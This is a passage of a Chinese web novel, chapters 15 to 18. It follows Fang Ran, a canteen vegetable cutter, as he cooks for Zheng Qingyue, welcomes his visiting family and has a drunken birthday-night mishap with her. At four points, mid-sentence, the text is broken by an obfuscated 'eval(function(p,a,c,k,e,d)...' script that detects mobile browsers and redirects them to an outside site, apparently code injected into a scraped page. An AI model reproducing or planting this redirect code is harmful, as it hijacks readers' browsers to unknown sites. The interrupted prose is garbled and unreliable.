最后又是一轮新的投票,最后大家比较认可的就是桂花糯米糖藕和香煎藕饼。方然尤其爱那道桂花糯米糖藕,软糯香甜,藕香和桂花香非常好得交融在了一起,经过长时间地炖煮,立马充盈了不少的鲜美汁水,再加上那淡淡的桂花香气,飘在空气中,萦绕在鼻尖,似有若无,暗香盈动。 给他带来了点点愉悦的感觉。 中年人的养生功夫是真的强,就算如此好吃的桂花糯米糖藕大家也就是试吃了半块就停手了,非常得克制,最后锅里面还剩下一整个桂花糯米糖藕又便宜了方然。 下班回家的方然路上收到了郑清越的消息,准备来还保温杯。方然看着自己手上的雪绵豆沙和桂花糯米糖藕觉得一定要让郑清越吃吃这个好东西,一边往锅里继续炖上红糖姜茶,一边拿出熟食案板来开始切桂花糯米糖藕。 得益于直刀切确实有好好的练习,切出来的卖相颇为不错。 方然满意地点了点头,找了一个大的白瓷盘子来装,再将打包盒里的汤汁细细浇上去,放上一朵薄荷细叶。最后用勺子的底部沾上汤汁,画出一个大大的半圈,圆头拖着个变细变淡的尾巴。 很有高级餐厅,那个摆盘的味儿了。 15. 团圆 郑清越也不知道自己为什么又坐在了餐桌前面,明明只是来还保温杯的,结果洗净的保温杯里面又灌入了新的红糖姜茶,手里面握着的马克杯,散发着热气。 飘起的袅袅的水汽,散着老姜特有的辛辣。 就像方然过分热情的行为,一下子把她的给呛住了,略微难受,更多是突如其来的不知所措。 但,并不讨厌,又带着说不出的一种放任。 比起直白的桂花糯米糖藕,一眼就能看出大概有哪些用料,过于的平铺直叙。雪绵豆沙这少见的却又白嫩绵软的食物更能引起郑清越的好奇。 冷掉的雪绵豆沙已经不是团团的样子了,表面都带上了凹陷,味道也逊色了一些,郑清越挺爱红豆沙的香气的,细嚼慢咽感受着香气慢慢侵扰住自己的嗅觉和味觉,慢慢放掉那些纷杂的思绪。 桂花糯米糖藕对郑清越来说甜了些,最后剩下了许多,红糖姜茶也散了不少热气,倒是刚刚适口的温度。 “你不爱吃太甜的啊?”方然问,说是问句不如说更是肯定句,“这个雪绵豆沙刚出锅热乎的时候更好吃,我下次学会了做给你吃!” 郑清越心想:倒也不必。 但是在方然闪着亮光的大眼睛的凝视下,有些狼狈又不受控制地点了点头,像是默认和肯定。 反正方然一下子就荡出了一个笑容。 郑清越也被带着忍不住勾了下嘴角,有些难为情的站起来拿了保温杯就准备告辞,说完看着桌子上她用过的碗筷,又忙说:“我把碗筷洗了再走。” “不用洗,不用洗!”方然忙推拒道,看着郑清越认真的样子,忙摸出一双筷子,“我饿了,刚好吃夜宵了,吃完了,我洗啊。” 郑清越走的时候,脑袋上大乌云数值一直在正向增加,就是起伏很大,一看就是心绪紊乱。 方然反而看完对自己这两天的努力抱有很大的肯定。 瞧!一切都在向好的方向发展,他要再接再厉啊! 就在方然准备再接再厉的时候,事情中途熄火了。 方然好几天都没有等到郑清越说要给他还保温杯的微信了,就躺在了他的联系人列表里,他左思右想却也不知该如何联系。 毕竟有些事情,他也是知道不合适,他也会害羞的呀。 总不能上去就问:“你身体咋样了?”、“肚子疼么?”、“红糖姜茶再来点不?” 妥妥的渣男海王既视感。 恰恰好撞上了,话赶话碰上了,和刻意去提,总是不一样的。 等郑清越再联系方然,距离上次煮红糖姜茶已经过了一星期了,方然正在厨房里练习干炒牛河。 于阿姨发掘了腌小萝卜拿走的奖励,到底还是让方然念念不忘。从曾经的程序员到现在的切菜工,收入落差确实太大了。现在的年轻人,谁不想搞钱! 尤其是到了适婚年龄又遇见了喜欢的女孩,经济压力无形的就出现了。 经过一段时间的刀工练习和后厨观摩,方然也学会了不少做菜技巧。至少这牛肉切得还是很过得去了,郑清越进门的时候,刚刚好赶上干炒牛河出锅,带着锅气的干炒牛河往盆里那么一装,满屋子的香味勾得郑清越的馋虫蠢蠢欲动。 她也不是那么馋的人,但是现在近十点刚从实验室收工正是饿的时候,又是吃夜宵的好时刻。 面对热情招呼的方然,又一次“别别扭扭”地坐了下来,拿着筷子开始吃。 郑清越是非常明显的理工科思维,在吃干炒牛河前,想着的是又要将请方然吃饭的餐标提升到多少,衡量事情就是“有来有往”,简单又直白。在吃完最后一口之后,郑清越觉得她找不到什么店能等价回报给方然了。 如果说味道,方然还是差外面不少大厨良多,但是那些大厨做的菜对郑清越来说就是饱腹的食物,或者说汲取生命能量的来源。 但是方然做得这盘干炒牛河,吃完后那种轻松愉悦的感觉。 对她来说,是“情谊”的感觉。 果然“吃人嘴短”。 “你觉得味道咋样?”方然期待地看着郑清越,她是除了方和平同志外第一个吃他做得干炒牛河的人。而且郑清越的情绪值涨了五百,方然觉得她是满意的,现在他有一点小小的虚荣心,希望从喜欢的女生那里获得肯定的夸奖。 郑清越点点头:“不错,就是咸了一点。” “那你觉得我这个干炒牛河和三餐的扬州炒饭比,咋样?”方然瞧见郑清越看过来的眼神,仿佛带着“你没点数”的意思,他也觉得自己很有些自不量力了,努力给自己找补一下,“我说说的,我可是吕师傅扬州炒饭的铁杆粉丝儿!因为我觉得最好吃的就是他烧了,所以才想找找差距。” 看着郑清越那“不太信”的目光,方然狡辩的声音渐渐虚弱极了。 还好杨梅香的视频电话强势地打了进来,让尴尬略微冷凝的气氛一下子松了,让方然免于这种不适的境地。 郑清越没管方然的示意,将碗筷拿到水槽里清洗,听着方然柔和又打趣的和父母交谈,那种家庭情感上的脉脉温情,让她有些苦涩。 走得时候,从饮料柜里拿了灌瓶装气泡酒,对着价目表付了钱,示意方然后就告辞了。 方然一边应付着第六感灵敏的杨梅香同志的盘问,一边疑惑郑清越怎么还买了瓶酒。气泡酒也是酒啊,还有个三度呢。 不过,杨梅香打电话回来,也是有好消息。 爹妈终于要回来了,而且方然的外公外婆也准备一起过来,在A市修养一下,顺便看看风景。 这一通电话,更多的是杨梅香安排方然收拾客房,还要把家里的床单被套洗洗晒晒,最主要的就是晒被子了。 快半个月没住,得收拾! 感谢大学生住宿制度,这点基础技能早就在大学四年的住校生活练了出来,做些简单的家务活倒也不会出错。 曾经不会烧饭的短板,现在也慢慢地被迫开始补了起来。 * 方然下班回家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607144|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的路上看自己家阳台晒着的被子已经收了进去,就知道爹妈回来了,还没走进家门,就闻到一阵阵的香气。 走进家门香味更加浓郁,是鸡汤的鲜美,杨梅香在水槽边上洗着蔬菜,方和平在处理虾。 杨怀仁和邹凤仙各拿着一把小牙刷坐着小马扎在那里刷着大闸蟹,方然又想起来食堂中秋福利送的大闸蟹了,等他从苏市回来时,发现那些个大膏肥的大闸蟹全死掉了。 他的心痛死了。 他可爱吃大闸蟹了,一年就盼着那两三顿啊。 邹凤仙抬头发现方然回来了,语气轻快活泼地说道:“然然回来了啊!饿了吧,外婆给你带了你最喜欢的赤豆糕,放在桌子上了,你自己去拿,晚饭还要一会儿呢!” 方然倒也不饿,在食堂混了个半饱才回来的,剩下的半个肚子是准备留给晚上干炒牛河的,他准备先把干炒牛河练起来后,再去找李师傅自荐。 这段时间父母不在,方然的三餐都是在A大五个食堂混的,有时候还去特色餐厅混个夜宵呢,现在他的脸也被各食堂工作人员熟悉了,毕竟有个二十几岁的小年轻还是个大学生结果在三餐当切菜工,这事情在食堂阿姨们看来非常匪夷所思,甚至让“读书无用论”又在阿姨们内部甚嚣尘上,让方然在A大餐饮食堂也了点奇奇怪怪的名气,多多少少成个略微奇葩的“名人”。 在A大没混成风云人物,结果在A大食堂差点成了,也是让方然觉得有些世事难料。 在邹凤仙关怀的目光下,方然又吃下了一整块赤豆糕,感受到自己七分饱的肚子,看着大闸蟹洗干净上锅蒸了,方然觉得自己还能再干四只! 家里掌勺的一直是方和平,现在杨怀仁和邹凤仙坐在那里,方然觉得他爸发挥的比平日出色很多,也不知道是平日敷衍了一些,还是说超长发挥了?或者说,这才是他真实水平? 晚上七点整,方和平辛苦了许久的饭菜全都端上了饭桌,六菜一汤摆的满满当当,带着方和平特有的混搭风格,既有海鲜,又有鸡禽,蔬菜没少,炖汤也有。方和平曾经走过的城市,都在这桌菜上有了小小的浓缩。 蒜蓉粉丝虾、清蒸大闸蟹、广式牛腩煲、辣椒小炒肉、家常白菜豆腐、豆酱炒菠菜,再来一锅鸡汤。 这菜量对五个人来说还是多了些,但五个人里面要是有个方然,方和平觉得应该是正好的,他并不知道方然现在的战斗力十分只剩下三分了,那三分预算方然还准备给大闸蟹。 “然宝啊,上次有事情走得急,你爸爸说你还拿了一盒大闸蟹回来,好几天没回来肯定浪费了,这大闸蟹也是去蟹塘挑得,好着呢,多吃两只!”杨梅香一边说一边往方然的碗里一口气夹了两只。 方然美滋滋地拿起一只,熟练地先扒下蟹脚们,准备先开壳吃蟹黄,就听到邹凤仙又说:“然然啊,你爸爸烧的这个牛腩煲也味道好得很,男孩子要多吃点肉,别一天天减肥减肥啥的,你不胖,外婆觉得可爱着呢。” 又一大勺牛腩进了碗中。 16. 泡泡机 还没来得及解释自己已经吃过晚饭了,面前的碗就已经被杨梅香同志和邹凤仙同志塞满了。 “外婆!妈!我在食堂吃过晚饭才回来的啊!”方然一只手捏着大闸蟹,一只手拿着筷子用手臂环着碗,微微侧过身子,用行动拒绝了邹凤仙的继续投喂。 邹凤仙看方然这个样子,声音有点点低落地道:“行,那你先吃,不够再添。” 方然还听到了邹凤仙音量不算低地嘟囔:“年纪轻轻的消化地不是应该很快的嘛,怎么还能吃不下。老杨这年纪有得吃可不得扒拉三大碗饭。”心里不住地开始质疑方然的饭量,愈发觉得方和平和杨梅香养小孩太过于糊弄。 邹凤仙还想着是不是方然在偷偷的减肥,她现在也是有些明白了,方然这个体型在她看来是刚刚好、有福气,但是不在现在小姑娘的审美上,现在都喜欢高瘦白净、斯斯文文那种,这种壮实型的倒是不怎么吃香了。年代到底是变了,新闻里都说要培养什么“高素质人才”,整“高精尖”了,不用卖力气开始卖脑力,自然是文气的人更厉害一点? 方然也到了找对象的年纪,搞不好真的在偷偷努力减肥了,现在也不止小姑娘爱俏了,男孩子也开始学着打扮了呢。邹凤仙自诩是个时髦的老太太,跟着党和国家走,每天都要看新闻联播,觉悟杠杠地,虽然不太愿意外孙减肥,但也还能接受。 邹凤仙小眼神透着浓浓的怀疑,方然有点毛兮兮的,不知道她在想什么但是也不敢问,好在过度投喂危机暂时解除,方然心中暗暗松了一口气。 他也不是不能吃,但是他在食堂吃晚饭的时候已经吃了不少了啊,回家又干了一个用料扎扎实实的赤豆糕,肚子容量告急了。 杨梅香听到方然说吃过晚饭才回来的,有些不解问道:“然宝,我昨天没和你说今天回来嘛?” “你有说嘛?”方然仔细地回忆,“你就说了你们要回来了,让我收拾一下家里,给床单被套啥的洗洗晒晒,没说具体时间啊。” 杨梅香听完也开始较真了,她总觉得自己说过了,刚想开口,就被邹凤仙打断了:“哎呦,说起这事,我们然然真不错啊,外婆看了收拾得可干净了,被子也晒得好,床单被套也洗得干净!” 突然被夸的方然白净的脸上染上了一点不好意思的羞涩红晕,毕竟床单被套是洗衣机洗得,被子是太阳晒得,他也就是个搬运工罢了。 但是在邹凤仙眼里能独立干家务的方然已经是极好的大朋友了。 方然吃完了亲妈和外婆投喂的所有食物后,最后又被邹凤仙塞了一碗鸡汤,用邹凤仙的话来说,那就是汤不算啥,吃饱了喝汤刚好溜溜缝,所以方然觉得自己现在的胃里面就很扎实,被汤溜得一丝缝隙都没得了,动作大一点,这汤怕是都要从食管荡到口腔。 可实在是——太饱了! 略微缓缓,方然开始收拾餐盘,虽然邹凤仙一直舍不得方然干活,想要她来收拾,但是在方然看来,外公外婆包括爸爸妈妈今天坐了许久的车从苏市回到A市,还整了一大桌子的菜,肯定是累了,应当去休息。 而自己大小伙子,这点工作量也不算啥,毕竟在食堂都练出来了! 没管邹凤仙地念叨,方然狠狠地扎在水池前面,拿着抹布麻溜地洗碗,一米九的大高个把一米五的邹凤仙挡得严严实实的。 邹凤仙抢不过,也只能用手掌拍了拍方然的背,又埋怨又有点开心地走开了。 中老年人融入新环境有得时候真的很快,等方然刷完碗筷走出厨房的时候,外公外婆已经和马大爷唠嗑上了,马大爷家的孙女小甜甜还窝在邹凤仙的怀里,肉肉又白嫩的小手拿着一块赤豆糕,边用小米牙咬,口水边从嘴角滴答了下来。 水灵灵的大眼睛配上微微卷曲的深棕色头发说不出的可爱。 小甜甜盯着方然,扭着身子要扑过来,方然忙上前去,从邹凤仙怀里把小甜甜抱了出来。 马大爷见此,开心得笑了,打趣道:“小甜甜还是喜欢然然啊。” 方然略微得意地笑了一下,毕竟他从小孩子缘就特别好,是这一片、整条小街的孩子王,后来因为上班九九六出现得少了,街坊家里的新生小朋友才不认识他。 当初他还在读大学的时候,可招人了,从未入学的小孩子,到初高中的大朋友都特别喜欢找方然玩,也不知道是如何玩得到一起去的。 而且因为是A大的学生,多少也是个小学霸,很多街坊还会喊方然传授一下学习秘诀给自己家的小孩,还经常在家里嘱咐小孩要和方然学习。 虽然很有一种“别人家的小孩”讨人厌烦的感觉,但是因为不是同龄人,小朋友们更多都是把方然看成厉害的大哥哥,曾经还有小孩把方然当偶像的呢,但自从方然辞职去食堂上班后,偶像光环已经差不多摔得稀巴烂了。职业不分贵贱,但是家长们总觉得学历要是不能变现就极为可惜,谈起来多少还是唏嘘,引为反面例子了,毕竟种花家的家长们五千年来都有一种希望小孩子“光宗耀祖”的谜之向往。 教育问题真的一直是逃不开的话题呢。 小甜甜一手揽住方然的脖子,小身子直往广场那边探,广场是这边上的小型夜市,早上是老爷爷老奶奶们的太极剑太极拳,晚上是热闹的广场舞,周边还围着一圈的小商贩在摆摊。 最近新来了一个卖泡泡机的,配上夜市的灯光,五彩斑斓,说不出得招人。 “然然,你带着小朋友去玩会儿,我和老马下个象棋。”杨怀仁已经找到了他来A市的第一个棋友,手痒难耐了。为了能让棋友陪自己下棋,就只好让方然去帮棋友带小孩了。 方然看着马大爷也很想下棋的样子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607145|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干脆地答应了下来,毕竟他今晚也没有什么事情了,邹凤仙本来想陪着方然和小甜甜一起去的,但是杨怀仁喊着象棋不知道放哪了,一边骂着糟老头子一边跟着去找。 广场就算再小,也是在大学城边上,为了吸引学生们,摆着的东西不管是货品还是灯光,那都叫一个讲究。 只不过苦了周边带着孙子孙女的大爷大妈们了,小朋友啥啥都想买,还有各种撒娇大法,再加上现在生育意愿低下,家里大部分都只有这么一个大宝贝,每天晚上带出来钱包总是要松一松的了。 小甜甜的目标非常明确,就是要那泡泡机,方然抱着小甜甜刚走过去,摊主刚好在演示泡泡机,那密集的泡泡从泡泡机里发射出来,夜风一吹,四散地飘撞着,小甜甜的脸蛋撞上了一个小泡泡后,就小身子一转就把小脑袋埋到了方然的肩膀上。 这就苦方然了,因为体积略大,直接被泡泡们撞了个满头满脸。 等泡泡们飞过后,方然把小甜甜从怀里扒了出来:“还买嘛?” “买~”奶里奶气的声音还带着点小恶魔的调调,可爱是可爱,捣鬼也是会捣鬼,马大爷有时候叫小甜甜“小鬼头”大概还是准确的。 泡泡机摊主的陈列可真是五花八门,但是对小女孩子来说,粉色的卡通外形总是更能戳中萌点,小甜甜一眼就看上了那个粉色小猪的泡泡机,摊主演示了一下粉色小猪泡泡机,出来的泡泡密度正好,而且还有一个挂带可以挂脖子上。 在摊主喜洋洋地“拿好”中,甜甜拿着泡泡机就冲着方然的大脑袋来了一下,带小孩还是累得很,接下来的时间就是小甜甜举着泡泡机和方然斗智斗勇,伴随着银铃般的笑声,方然沾了一头发的泡泡液体,狼狈不堪。 好不容易熬完了一盘棋的时间,方然抱着小甜甜就往家里冲,小孩清脆的叫喊声显得愉悦,小猪泡泡机的泡泡在方然的背后飘飘扬扬,显得有些童话,郑清越远远地看着,看了好久了,手上的袋子里拎着几瓶酒,不敢靠近。 方然很想把小甜甜往马大爷怀里一塞,但是下棋人明显还没尽兴,根本不想理方然,毕竟马大爷是看着方然长大的,对方然还是谈得上了解,方然会把小甜甜安排好的。 这不,带着小甜甜上楼,弄了两条干净地浴巾,开始给小甜甜擦头发了,擦完小甜甜的再擦擦自己的,勉强打理清爽。 把电视机开到少儿频道,边让小甜甜看动画片,边给她重新梳头发。 大大的手,一边看着梳头教程,一边翘着兰花指,小心轻柔地将头发分区,扎了两个冲天小啾啾,配上小甜甜白白嫩嫩的小圆脸,真真可爱极了。 方然左看右看,对自己的手艺也满意极了,他觉得他以后一定是一个心灵手巧的好爸爸。 现在最重要的任务就是,给未来的小女儿找一个好妈妈! 17. 拥抱 送走了小甜甜之后,方然才收拾收拾他自己,钻进被窝。 摸出手机,开始过睡前的夜间生活。 正在百无聊赖的时候跳出了一条郑清越的语音消息,方然点开,手机里传来的女声好似雾蒙蒙的:“方然,夜宵吗?”方然看了一眼手机屏幕左上角的时间,已经是夜晚十一点钟了,不知道郑清越为何突然发来了夜宵申请。 而且听她说话的语气好像有点不甚清醒的样子,方然心中不由得开始有些慌张。 一边询问郑清越的具体地址,一边急忙忙地换了身衣服准备出门。 刚拉开自家卷帘门的一条缝,方然就看见门口的台阶上歪着个女孩子,边上还放着好些个酒瓶,各种牌子都有,一瞧就是喝了混酒的。 “哎,同学…….?”方然刚想出声询问,女孩听见声响抬头看了过来。 秋日的A市温度还是很高,本市人一直都说一年只过两季,不是夏季就是冬季,春秋季节可以忽略不计,一直都很羡慕昆市分明的四季,北方洁白的飘雪,很南方蔚蓝的海浪。而A市大部分时候都很尴尬,夏季又热,冬季又湿冷。 但时令总是跟着日子在变,并没有管天气的意思,九月尾巴上的几天月光也没有夏日那么明显了,街上昏昏的路灯最是让人好眠的时候,但是照在人的脸上却勾勒出的却是朦胧的边边。 柔和。 像羽毛轻轻拂过方然的心。 方然看着喝了不少但仍保留丝丝清明的郑清越不由得想扶额:“你怎么了,怎么喝了这么多?” 一边说着一边过去想把郑清越拉起来,醉酒的身体好像变得更为笨重,方然拉着郑清越一只手拉了两下还觉得她有一个自我的坠速,八成郑清越就不想起来。 方然只好也坐在台阶上。 郑清越已经喝的面色略红了:“方然,来,喝。”从方然没见到的另一边摸出罐啤酒,郑清越趁着方然还没有反应过来就麻溜得开了,塞进方然的手里,自顾自得和方然碰了下杯,又喝上了。 “别喝了别喝了,不是说要夜宵嘛?”方然伸手去夺郑清越的酒,柔和却带着不容拒绝的强势。 听了方然的话,郑清越挣扎着起来了:“对哦,我要吃干炒牛河,饮料要喝红糖姜茶。” 方然一边哄着答应着,一边让郑清越借力站了起来了,把人先扶进了店里在躺椅上安顿好,又出来把地上的酒瓶子收拾了一下,扔到路边的垃圾桶里,毕竟家里的垃圾桶要是出现了这些东西,定然逃不过杨梅香女士的询问,老方家的大小男人都是属于能喝但不喝的人,毕竟酒精误事。 冰箱里还有牛肉和河粉,是方然准备下班后练习用的食材,但是因为爹妈和外公外婆的回来,并没有派上用场。 但是炒干炒牛河多少要点时间的,方然翻箱倒柜准备找点小零食想着先糊弄一下郑清越,奈何杨梅香女士一段时间没在家里,她之前买的零食也被方然吃得差不多了,还没有补货,找了一会儿才翻出两根风干牛肉条来。 郑清越盯着牛肉条反应了一下,又抬头看着方然:“我是要吃干炒牛河,不是要吃干牛肉。” 方然想着郑清越的酒量可真是深不可测,现在都还没迷糊,只是反应稍微迟缓了一些。 “今天我生日,我今天的生日愿望就是在十二点前吃上干炒牛河!”郑清越说完就开始盯着墙上的挂钟。 压力直接给到了方然,方然顿时排除了所有带着点糊弄的想法,将已经放进冰箱冷冻层的牛肉抓紧想办法解冻,在稍微化软一些的时候就将牛肉开始切片了,切完就开始腌制。 腌制的时候准备着其他的配菜。 为了追求时间,损失一些风味也是正常的。 紧赶慢赶,这一片小小的空间里变的沉静又焦灼,只有锅勺碰撞的声音,郑清越用手支着下巴,看着秒针、分针一点点流逝。 等干炒牛河刚出锅的时候,被衡量的时间作用在了时针上面。 方然边用肩膀的衣服蹭了蹭额头上的汗边抬头看挂钟 00:01。 刚好零点过了一分钟,方然突然觉得好难受,觉得很抱歉,毕竟郑清越这个生日愿望也不是什么了不起的大愿望,就这么一点小愿望他都没能满足她,他要是快一点,不那么磨蹭,就可以完成她的心愿了。 “对不起,我晚了。”方然很不意思地说,坐在桌子上也不敢看郑清越失望的眼神,头低着看着干炒牛河,中指和无名指不断地按压着手心的肉,指甲在手心刻出一个个小月牙。 郑清越没有马上吃干炒牛河,在方然惴惴不安的情况下,反而站了起来,拖动椅子,和地面摩擦的刺耳声音很容易就惊动了方然,方然抬头看去,只见郑清越正在爬椅子,摇摇摆摆的身子吓得方然忙过去张开手臂半环,护着她。 郑清越将挂钟往上一抬,轻巧地取了下来,开始调整分针的位子,往后倒了十分钟,将挂钟挂了回去,转过身来,微微低头看着方然,粲然一笑: “我觉得,不晚。” 丝丝微妙的气息在两人身边游走,方然突然有些害羞,郑清越的眼神过于明亮了,大大的眼睛里全是笑意,还有一点点狡黠,像一只勾心小狐狸。 方然低头心中有丝丝甜蜜,还有一点点窃喜。 他好像窥见了一丝郑清越的内心世界,他们好像靠得更近了,一时不知道说些什么。 郑清越准备下椅子,酒精上头到底影响了她的平衡性,东倒西歪了一下最后还是摔进了方然的怀里。 “方然!你在干什么!” 杨梅香同志的一声大吼,让方然浑身一个机灵,方然转身看去,只见杨梅香同志和方和平同志操着羽毛球拍和拖把,一副捉贼的样子。 “大晚上的不睡觉,我还以为进贼了呢!”杨梅香同志气呼呼地从楼梯上卷了下来,她知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607146|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的儿子还没有女朋友,这大晚上的突然出现了个女孩,还在那里搂搂抱抱,这让杨梅香同志不得不多想,就怕方然堕落了变坏了。 这个时候也没有什么留点隐私给方然的意思,迫切的想要知道真相。 “妈,我没干什么啊。”方然一边努力把郑清越从怀中拔出来,想要让她正经地站好,但是不知道为何,这人一直往怀里钻,脑袋都歪了,像一只树袋熊。 方和平跟在杨梅香后面,看着母子间有点紧张地氛围,反而更关注方然怀里的小姑娘,看了一会儿,再加上这个空间里充溢着的酒味,有点不确定地问道:“这小姑娘该不会是喝醉了吧?” 杨梅香狠狠地剜了方然一眼,上前去看郑清越:“小姑娘,醒醒?”见没有什么回应,伸手想从方然怀里接过来,结果郑清越一直抱着方然不放,一整个醉倒睡着了的状态。 一家人没法只能先想办法安顿。 最后郑清越睡在换了床单被套的方然的床上,方然站在客厅里,被杨梅香和方和平三审会堂。 “方然,你老实交代。你现在怎么学得这么坏了,灌女孩子酒!还让人家喝醉成那个样子!我以前是怎么教你的,你现在太让我失望了!”杨梅香同志根本没有给方然老实交代的时间,一个人坐在沙发上,低声疯狂骂人,痛心疾首。 从方然小时候的不礼貌行为到方然一路走来的升学历程,全都回忆了一大遍。 觉得她的小孩教育非常的失败,不断找是哪个成长历程出现了差错,啪嗒啪嗒地掉眼泪,方然想打断她解释一番,都被她以“不要狡辩”给堵死了,哭得那叫一个肝肠寸断,哭得方和平心碎得稀里哗啦。 直接抄起拖把杆子开始揍方然。 撵得方然满客厅乱跑。 等杨梅香女士累了,让方然在客厅里好好反思,她转身一走进了方然的房间陪着郑清越睡觉去了。 杨梅香同志想得非常周到,要杜绝掉方然摸进房间干坏事的所有可能性,只有她自己守着她才放心。 可不能,祸害了别人家的小姑娘啊! 一夜折腾过后,等郑清越摁着宿醉疼痛后的脑袋皱着眉头转醒的时候,感受着陌生的床、陌生的房间还吓了一大跳,再转个身看见一个陌生但温柔的阿姨的脸,她的心又放回到了肚子里。 动静到底还是惊醒了略微敏觉的杨梅香同志,杨梅香哭了很久的眼睛略微红肿,泪水黏着睫毛,让睁眼变得有点困难,她带着晨起的一点点迷糊,问郑清越:“小姑娘,你醒了啊。”想了想又补充了一句:“不要怕,啥事情也没有,有事情你和阿姨说,阿姨一定给你做主!” 最后几个字很是有点咬牙切齿的味道了。 郑清越也被说着迷糊了,昨夜的记忆渐渐回笼,也让她非常不解。 她明明是个千杯不醉的人,吃完干炒牛河也得荡回已经开好的酒店,怎么就摔进方然怀里睡上了? 18. 误会 现在这么一搞事情变得很离谱了,郑清越想闭上眼睛继续睡着,但是杨梅香同志显然已经苏醒了,又翻了个身,能感受到床垫微微下塌,是醒来且坐起来的意思了。 “小姑娘,你不要不好意思说,不要想着替方然瞒着。”杨梅香一边穿外套,一边看着郑清越。 光长相这一条,杨梅香就觉得方然多少有点高攀不起,就算加上亲妈光环也没有什么用,更何况她对方然也没有什么亲妈光环,她现在欣赏的也是那种文质彬彬、显得儒雅的长相,而方然可能只有白净、可爱这种不太适合形容二十几岁男生的词汇。 再想起昨天小姑娘身上穿着的那些衣服,按照她多年血拼的经验,一摸就知道价值不菲,这就叫门不当户不对吧。 她毕竟也是资深网民了,知道这一条最近在某些社交平台上非常兴起,很多人都发出对比图来让网友们评判。 不过,要她说,如果两个真的相爱的人,连这一点都冲破不了的话,这感情八成也得打个折扣。事情总是会有长有短,能从别的地方找补上就也不错了。 郑清越很是有些不好意思,说一千道一万,都是昨天自己突然睡着了的锅,没有把握住自己的心绪,对方然来说多少是有点无妄之灾的意思了。 再加上宿醉的脑袋,让她的思维变得不是那么的灵光,沉默了一会儿才说道:“昨天是我欺负方然了。” 这话直接惊到了杨梅香,在床上转过身子看着郑清越,略微诧异的问:“你?欺负他?” 郑清越的脸色慢慢因为充血变得胀红,轻微点了下头。 这个反应让杨梅香起劲了,略微八卦问:“来和阿姨说,你怎么欺负他了?” “我昨天晚上心情不好有点喝多了,大半夜一定要他给我烧夜宵。然后我还爬到椅子上,就摔他身上了。”郑清越还是有些不好意思,隐去了她对方然说的话。 然而这个回答显然没有让杨梅香满意:“就这?” 杨梅香怀疑的小眼神在郑清越身上来回巡梭,最后想到了些什么,带着一种过来人特有的了然,露出一种神秘的笑容,飘去洗漱了。洗漱完,还贴心的找了自己还没上过身的新衣服,一套新的洗漱用品再加上买护肤品专柜送的一把花里胡哨的小样过来,让郑清越能收拾收拾自己。 两人收拾妥当后,在杨梅香热烈的言语中,郑清越多少有点难为情的下楼和大家一起吃早餐。 早上是方和平做的红烧牛肉面,汤汁醇厚、面条筋道、牛腩酥烂,极为好吃。杨怀仁和邹凤仙起得很早,已经吃完早饭去找晨练大军了。 方然在埋头吃面,听见脚步声,抬头飞速的看了一眼,麻溜站了起来,一半是尴尬,一半是害怕。 昨天晚上的沙发睡得他是腰酸背痛,毕竟一米九的身高长沙发椅也没塞下他,而且沙发窄溜溜的,对他来说一躺下就很局促。 杨梅香翻了个小小的白眼,送给方然一记眼刀子,心里对自己的儿子嫌弃的不行,毕竟她当初怀的时候就想生个香香软软的小女儿,这种儿子要是天生小暖男还好,像方然天赋不够的,这二十四年的耳濡目染在杨梅香这里也就将将还算过得去吧,离贴心还远称不上,随时有可能被未来的儿媳妇退货呢。 郑清越有点不好意思的和方然摇了摇小手,尬笑着打了个招呼。 一顿早饭就是在杨梅香各种“多吃点!”、“以后常来玩啊。”、“方然爸爸烧饭很好吃的,以后多来吃饭啊。” …….之类的话语中度过。 郑清越吃完饭就是匆忙告辞落荒而逃的状态。 独留方然一个人面对目前看来突然有点不太正常的杨梅香同志,然而她的亲妈并没有什么和他交流的欲望,只是催他吃完饭把碗洗了,好好去上班,那嫌弃的样子,又让方然重回小时候被亲妈支配的恐惧了。 杨梅香同志 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14607147|156098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 